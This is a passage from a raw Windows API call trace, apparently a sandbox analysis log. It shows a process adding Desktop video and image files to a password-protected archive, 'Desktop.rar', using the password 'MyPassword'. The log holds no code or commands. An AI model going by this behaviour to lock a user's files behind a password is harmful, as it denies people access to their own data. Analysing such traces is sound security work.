(esFlags=0x1) returned 0x80000000 [0067.013] ResetEvent (hEvent=0x344) returned 1 [0067.013] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.015] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.015] ResetEvent (hEvent=0x344) returned 1 [0067.015] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.016] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.016] GetTickCount () returned 0x26a68 [0067.016] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15834475441) returned 1 [0067.016] GetTickCount () returned 0x26a68 [0067.016] GetTickCount () returned 0x26a68 [0067.016] GetTickCount () returned 0x26a68 [0067.016] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.016] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.016] GetFocus () returned 0x102a8 [0067.016] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.016] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.016] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.017] ResetEvent (hEvent=0x33c) returned 1 [0067.017] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.017] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.017] ResetEvent (hEvent=0x33c) returned 1 [0067.017] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.018] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.018] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.018] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x45c31 [0067.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x45c94 [0067.019] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.019] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.019] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.019] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.019] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xa550, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xa550, lpOverlapped=0x0) returned 1 [0067.020] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.020] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=285745, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x45c31 [0067.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x45c31 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.020] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a657140 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.020] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656f10 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd60 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef850, Size=0x48) returned 0x1ec0a6569c0 [0067.020] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649f50 [0067.020] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649f53*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649f53*, lpNumberOfBytesWritten=0xe414d8140*=0x63, lpOverlapped=0x0) returned 1 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9a0 [0067.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x63) returned 0x1ec0a5c4720 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0067.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x501e4 [0067.020] CloseHandle (hObject=0x350) returned 1 [0067.020] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.020] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.021] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.021] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.021] FindFirstFileW (in: lpFileName="AG0E6OHBnNCn.mkv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de094d0 [0067.021] FindClose (in: hFindFile=0x1ec0de094d0 | out: hFindFile=0x1ec0de094d0) returned 1 [0067.021] CreateFileW (lpFileName="AG0E6OHBnNCn.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ag0e6ohbnncn.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.021] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.021] GetTickCount () returned 0x26a68 [0067.021] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.021] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.021] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.021] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.021] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="6u_EXsIYn4N.jpg") returned 15 [0067.021] SetWindowTextW (hWnd=0x1028c, lpString="AG0E6OHBnNCn.mkv") returned 1 [0067.022] GetTickCount () returned 0x26a68 [0067.022] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.022] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.022] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.022] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.022] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x1fa)) [0067.022] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.022] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15835071353) returned 1 [0067.022] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x4694, lpOverlapped=0x0) returned 1 [0067.023] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9096d4, nNumberOfBytesToRead=0xfb96c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9096d4*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.023] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a6577d0 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0067.023] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef730, Size=0x48) returned 0x1ec0a656c90 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef640 | out: hHeap=0x1ec0a590000) returned 1 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0067.023] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9d0, Size=0x48) returned 0x1ec0a656f10 [0067.023] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64a220 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.023] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a220 | out: hHeap=0x1ec0a590000) returned 1 [0067.024] GetTickCount () returned 0x26a68 [0067.024] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15835283060) returned 1 [0067.024] GetTickCount () returned 0x26a68 [0067.024] GetTickCount () returned 0x26a68 [0067.024] GetTickCount () returned 0x26a68 [0067.024] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.024] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.024] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.025] ResetEvent (hEvent=0x344) returned 1 [0067.025] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.025] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.025] ResetEvent (hEvent=0x344) returned 1 [0067.026] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.030] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.030] GetTickCount () returned 0x26a78 [0067.030] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15835864120) returned 1 [0067.030] GetTickCount () returned 0x26a78 [0067.030] GetTickCount () returned 0x26a78 [0067.030] GetTickCount () returned 0x26a78 [0067.030] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.030] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.030] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.030] ResetEvent (hEvent=0x33c) returned 1 [0067.030] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.031] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.031] ResetEvent (hEvent=0x33c) returned 1 [0067.031] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.032] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.032] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.032] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.032] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x501e4 [0067.032] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x50248 [0067.032] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.032] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.032] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.032] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.032] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x4700, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x4700, lpOverlapped=0x0) returned 1 [0067.033] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.033] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.033] SetFilePointer (in: hFile=0x32c, lDistanceToMove=328164, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x501e4 [0067.033] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x501e4 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.033] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6577d0 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.033] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656b50 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefac0, Size=0x48) returned 0x1ec0a656f10 [0067.033] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64a190 [0067.033] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a193*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a193*, lpNumberOfBytesWritten=0xe414d8140*=0x64, lpOverlapped=0x0) returned 1 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef7f0 [0067.033] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x64) returned 0x1ec0a5c49c0 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.033] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x54948 [0067.033] CloseHandle (hObject=0x350) returned 1 [0067.033] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.033] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.033] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.033] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.034] FindFirstFileW (in: lpFileName="cdf 0O.avi", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09350 [0067.034] FindClose (in: hFindFile=0x1ec0de09350 | out: hFindFile=0x1ec0de09350) returned 1 [0067.034] CreateFileW (lpFileName="cdf 0O.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\cdf 0o.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.034] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.034] GetTickCount () returned 0x26a78 [0067.034] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.034] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.034] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.034] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.034] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="AG0E6OHBnNCn.mkv") returned 16 [0067.034] SetWindowTextW (hWnd=0x1028c, lpString="cdf 0O.avi") returned 1 [0067.035] GetTickCount () returned 0x26a78 [0067.035] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.035] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.035] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.035] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.035] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x20a)) [0067.035] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.035] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15836357168) returned 1 [0067.035] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x128f4, lpOverlapped=0x0) returned 1 [0067.035] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d917934, nNumberOfBytesToRead=0xed70c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d917934*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.035] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.035] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.035] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.035] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0067.035] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef850, Size=0x48) returned 0x1ec0a656c90 [0067.035] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.035] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0067.035] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbe0, Size=0x48) returned 0x1ec0a657140 [0067.035] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.035] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0067.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9d0, Size=0x48) returned 0x1ec0a656b50 [0067.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656b50, Size=0x7a) returned 0x1ec0a64a4f0 [0067.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0067.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a4f0 | out: hHeap=0x1ec0a590000) returned 1 [0067.036] GetTickCount () returned 0x26a78 [0067.036] 